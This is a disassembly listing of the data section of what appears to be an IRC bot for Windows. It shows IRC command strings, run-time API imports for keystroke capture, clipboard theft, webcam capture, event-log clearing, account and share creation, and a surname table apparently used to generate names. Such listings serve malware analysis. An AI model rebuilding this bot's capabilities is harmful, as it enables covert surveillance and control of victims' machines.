a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177D0+50o
		align 10h
asc_42D120:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DAEo
		unicode	0, <!>,0
asc_42D124:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Do ...
		unicode	0, < >,0
asc_42D128	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402602o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B13:loc_40A77Do
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B13+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B13+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B13+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B13+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B13+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B13:loc_40A6DFo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B13+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B13+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B13:loc_40A695o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B13:loc_40A621o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B13+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B13:loc_40A5D7o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B13:loc_40A58Do
		align 10h
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B13+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo
					; sub_4185A5+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B13+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B13+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B13+9C5o
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B13+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B13+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B13+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B13+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B13+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B13:loc_40A471o
					; sub_4185A5+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B13+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B13+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B13+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B13:loc_40A412o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B13+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B13:loc_40A2F2o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B13+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B13+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B13+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B13+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B13+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B13+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B13+658o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409B13+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B13+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409B13+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B13+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B13+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B13+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B13+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B13+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B13+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B13+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B13+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B13+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B13+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B13+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B13+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B13+57Bo
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B13+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B13+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B13+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B13+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B13+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B13+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B13+525o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B13+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B13+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B13+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B13+487o
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B13+47Ao
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B13+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B13+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B13:loc_409F40o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B13:loc_409F18o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B13+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B13+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B13+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B13+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B13:loc_409E6Ao
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B13+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B13+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B13+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B13+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B13+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B13+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B13+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B13:loc_409D72o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B13+20Do
		align 10h
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B13+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B13+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B13+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B13+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B13+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B13+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B13+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B13+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B13:loc_409C48o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B13+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B13+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B13+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B13+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B13+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B13+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B13+Ao
		align 4
unk_42DA28	db  2Dh	; -		; DATA XREF: sub_40A7CF+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o
		align 4
a_:					; DATA XREF: sub_40F96B+252o
		unicode	0, <.>,0
unk_42DBB8	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABF1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42DBE8	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABBFo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42DC18	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40AB8Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42DC3C	db  2Dh	; -		; DATA XREF: sub_40AB32+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC10+46o
					; sub_40BFEC+38o
		align 8
aReal		db 'real',0
		align 10h
		dd 0
dword_42DC84	dd 0			; DATA XREF: sub_40B08E+7o
off_42DC88	dd offset sub_40ACB6	; DATA XREF: sub_40B08E+49r
aConst		db 'const',0
		align 8
		dd 1, 40AD23h, 7474656Ch, 7265h, 0
		dd 2, 40AD81h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCEh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Ch, 736Fh, 2	dup(0)
		dd 5, 40AEE1h
off_42DCF0	dd offset aAbdulrazak	; DATA XREF: sub_40ACB6+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42DCFC	dd offset aAddison	; DATA XREF: sub_40B08E+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
